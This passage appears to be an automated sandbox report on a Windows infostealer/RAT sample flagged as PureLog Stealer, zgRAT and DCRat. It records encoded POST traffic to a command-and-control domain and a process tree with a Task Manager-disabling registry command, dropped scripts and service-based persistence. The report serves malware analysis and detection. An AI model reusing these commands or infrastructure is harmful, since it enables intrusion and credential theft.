Jan 8, 2025 17:14:43.118020058 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:43.473115921 CET	2532	OUT	Data Raw: 55 57 5e 5f 59 5d 56 5b 5e 5f 57 54 56 59 59 5c 57 51 58 5d 50 59 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UW^_Y]V[^_WTVYY\WQX]PYVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _+^303)>:/?[=>5)%08")"3X>?#5-<,?#_&'P-
Jan 8, 2025 17:14:43.566772938 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:43.815283060 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JVAcQKH7zkb%2BtD3Zu1UWsseFM6acg4PChNNW7XoFhJEX9Y8A7CYE9fej9HnmzK3TUbA2iaL1efOjp8Gk9FSTohZMOJ8rhVmKu62j%2BlWjqEkllgt%2BUffgWl%2Bq08LLyVUW3XoQOAV5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b720dbdc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3535&min_rtt=1508&rtt_var=4619&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=82374&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:14:43.902657032 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	50123	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:44.024257898 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:44.379733086 CET	2532	OUT	Data Raw: 55 54 5e 5f 59 5c 56 5d 5e 5f 57 54 56 57 59 5d 57 51 58 5c 50 5b 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UT^_Y\V]^_WTVWY]WQX\P[VP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ 8,3>Y=-,$?=-=^13+>Y4Z!-^.#_&'P-
Jan 8, 2025 17:14:44.500855923 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:44.728779078 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=roKd0URBl1gG1ll3rhDl5AgiEtsc8VeYYYPw435QHBSORqu1mRnC9rxvuUg3e5DSJDChZyH801A6iLbYKpl%2B3yTe4H8VIBlifMAxdSRwYARNTqWmMqqKvdCLCC2wdzMDOKOGc2uy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b77dcc5c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7761&min_rtt=1499&rtt_var=13086&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=28296&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	50124	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:44.850786924 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:45.207487106 CET	2528	OUT	Data Raw: 55 50 5e 52 59 5d 56 52 5e 5f 57 54 56 5e 59 59 57 56 58 53 50 5d 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UP^RY]VR^_WTV^YYWVXSP]VP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _+; $ !)=6,B *.));:0"<2#_>#!7]9#_&'P-+
Jan 8, 2025 17:14:45.332664967 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:45.504025936 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7dJrSD9A9JTM%2FXcgUesgqXqbCTVMJ8wmJfoCRDG7NAvkPS7T%2BPyC%2FFO%2BJ49hg6v%2Bt5yLrohrMw0Skg1hYDl4y%2F9WgdFcjlElIStc8t4qt20JyJtBBAsNyuOIzw%2FJAXZeLETWVwmP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b7d0f5a729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4156&min_rtt=2012&rtt_var=5042&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=76180&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	50125	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:45.647558928 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:46.004379988 CET	2532	OUT	Data Raw: 55 5d 5e 5e 59 59 56 5a 5e 5f 57 54 56 5a 59 5b 57 55 58 53 50 5e 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U]^^YYVZ^_WTVZY[WUXSP^VX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<;3Y'0.*.:;4>=!\>;:3("+$(,$Y"<-/#_&'P-7
Jan 8, 2025 17:14:46.088675976 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:46.259602070 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b2eBkGf7vGuKBYTweaaSo1pymc6cpzJEWgO5Fo6ZSwy5%2BA3SsJKy32Px5Lwkntred0cpWPw7qKdVPUSPvEZWyXatr2PyRMh%2FTsObb6yxnikay0SP5GWlBBdwpjmevgnEK%2BNoGqE2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b81cc0c0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2492&min_rtt=1592&rtt_var=2397&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=166003&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	50126	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:46.383224010 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	50127	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:46.538193941 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:46.894947052 CET	1828	OUT	Data Raw: 55 53 5b 52 5c 5d 56 58 5e 5f 57 54 56 57 59 5b 57 52 58 5f 50 58 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: US[R\]VX^_WTVWY[WRX_PXV\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _?+#_$3=-Y,'/X)>!)&']:W? =45?-#_&'P-
Jan 8, 2025 17:14:46.902865887 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:47.122488976 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:47.179752111 CET	954	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A%2F9FqAdK%2Fzo6%2Bcsn6HsG000MROOYOlrv5MA11fDnU0SULWIg66T%2BvTxc%2BoHU%2BFcHOhhVovB9I9o4q68Gb7ROL2LSbkbDLH4aPzYaHZ2ZLe9A1XdmUtxWlGWTrsfOI0A0WhM6wWBa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b86dcc5424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4687&min_rtt=1572&rtt_var=6819&sent=4&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2177&delivery_rate=55108&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0e 30 3d 2b 00 34 05 08 09 2a 39 3c 07 3d 55 21 02 2c 29 20 5a 25 0a 2f 06 32 2c 2c 5a 22 2c 25 1c 28 06 36 00 30 18 37 09 2b 01 20 5c 04 1f 24 14 28 3b 3d 10 3d 01 36 5c 33 23 25 58 32 33 2c 58 27 3d 27 5b 27 5f 3e 54 34 07 33 55 2e 23 26 56 2e 16 28 11 2b 09 09 05 27 3e 2f 50 0f 10 38 55 2c 29 0d 5a 35 31 2d 0c 36 33 1e 03 23 36 2c 5e 2a 2e 24 0a 23 2c 31 18 33 0a 25 50 23 1c 27 55 25 33 3f 19 28 31 2c 53 28 19 24 55 2c 02 2c 49 02 3f 58 52 0d 0a Data Ascii: 98'0=+49<=U!,) Z%/2,,Z",%(607+ \$(;==6\3#%X23,X'='['_>T43U.#&V.(+'>/P8U,)Z51-63#6,^.$#,13%P#'U%3?(1,S($U,,I?XR
Jan 8, 2025 17:14:47.268209934 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	50128	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:46.666691065 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:47.154825926 CET	25	IN	HTTP/1.1 100 Continue

Target ID:	0
Start time:	11:12:02
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\wxl1r0lntg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\wxl1r0lntg.exe"
Imagebase:	0xb10000
File size:	11'304'960 bytes
MD5 hash:	55672946FFC3FA0B0C7670BF37D45225
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:12:03
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Local\Temp\sqls211.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\sqls211.exe"
Imagebase:	0xcc0000
File size:	2'347'946 bytes
MD5 hash:	A79959F25EDA4401D0F5E7B370D6C613
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000003.2041272436.00000000064C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000003.2043048725.0000000004D43000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\sqls211.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\sqls211.exe, Author: Joe Security
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:12:03
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\drivEn760.exe"
Imagebase:	0x400000
File size:	1'885'848 bytes
MD5 hash:	5036E609163E98F3AC06D5E82B677DF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:12:04
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe"
Imagebase:	0x130000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:12:21
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe" -install "C:\Program Files\Everything" -install-options " -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0"
Imagebase:	0x7ff63d470000
File size:	2'265'096 bytes
MD5 hash:	0170601E27117E9639851A969240B959
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:12:22
Start date:	08/01/2025
Path:	C:\Program Files\Everything\Everything.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Everything\Everything.exe" -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0
Imagebase:	0x7ff728bb0000
File size:	2'265'096 bytes
MD5 hash:	0170601E27117E9639851A969240B959
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:12:22
Start date:	08/01/2025
Path:	C:\Program Files\Everything\Everything.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Everything\Everything.exe" -svc
Imagebase:	0x7ff728bb0000
File size:	2'265'096 bytes
MD5 hash:	0170601E27117E9639851A969240B959
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:12:24
Start date:	08/01/2025
Path:	C:\Program Files\Everything\Everything.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Everything\Everything.exe" -disable-update-notification -uninstall-quick-launch-shortcut -no-choose-volumes -language 1033
Imagebase:	0x7ff728bb0000
File size:	2'265'096 bytes
MD5 hash:	0170601E27117E9639851A969240B959
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:12:25
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2PE3PxTrTQg.bat" "
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:12:25
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:12:26
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Imagebase:	0xd70000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:12:26
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet/containerwebruntime.exe"
Imagebase:	0x120000
File size:	2'025'984 bytes
MD5 hash:	77967721CE1C8B3F0EB800BD33527897
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000E.00000002.2626614280.000000001267C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000000.2267598724.0000000000122000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, Author: Joe Security
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:12:29
Start date:	08/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline"
Imagebase:	0x7ff6a9370000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:12:29
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:12:29
Start date:	08/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD56.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCCB61929627DF440F9E17C549CE99168.TMP"
Imagebase:	0x7ff6647f0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:12:30
Start date:	08/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.cmdline"
Imagebase:	0x7ff6a9370000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:12:30
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:12:30
Start date:	08/01/2025
Path:	C:\Program Files\Everything\Everything.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Everything\Everything.exe"
Imagebase:	0x7ff728bb0000
File size:	2'265'096 bytes
MD5 hash:	0170601E27117E9639851A969240B959
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	11:12:30
Start date:	08/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAFE6.tmp" "c:\Windows\System32\CSCE2A537B39618441DAC64E34137FF17.TMP"
Imagebase:	0x7ff6647f0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:12:31
Start date:	08/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.cmdline"
Imagebase:	0x7ff6a9370000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:12:31
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:12:32
Start date:	08/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB66E.tmp" "c:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP"
